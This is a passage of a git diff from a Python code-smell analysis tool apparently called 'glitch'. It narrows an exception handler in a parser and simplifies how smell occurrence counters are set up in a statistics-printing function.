self.parse_keyvalues(unit_block, block_attributes, code, type) k_values.append(k) - except Exception: + except KeyError: for block in keyvalue: for block_name, block_attributes in block.items(): k = create_keyvalue(block_attributes["__start_line__"], diff --git a/glitch/stats/print.py b/glitch/stats/print.py index 8f39ddb6..e3d03ef7 100644 --- a/glitch/stats/print.py +++ b/glitch/stats/print.py @@ -7,10 +7,10 @@ def print_stats(errors, smells, file_stats, format): total_files = len(file_stats.files) occurrences = {} files_with_the_smell = {'Combined': set()} - for smell_type in smells: - for code in Error.ERRORS[smell_type].keys(): - occurrences[code] = 0 - files_with_the_smell[code] = set() + + for smell in smells: + occurrences[smell] = 0 + files_with_the_smell[smell] = set() for error in errors: occurrences[error.code] += 1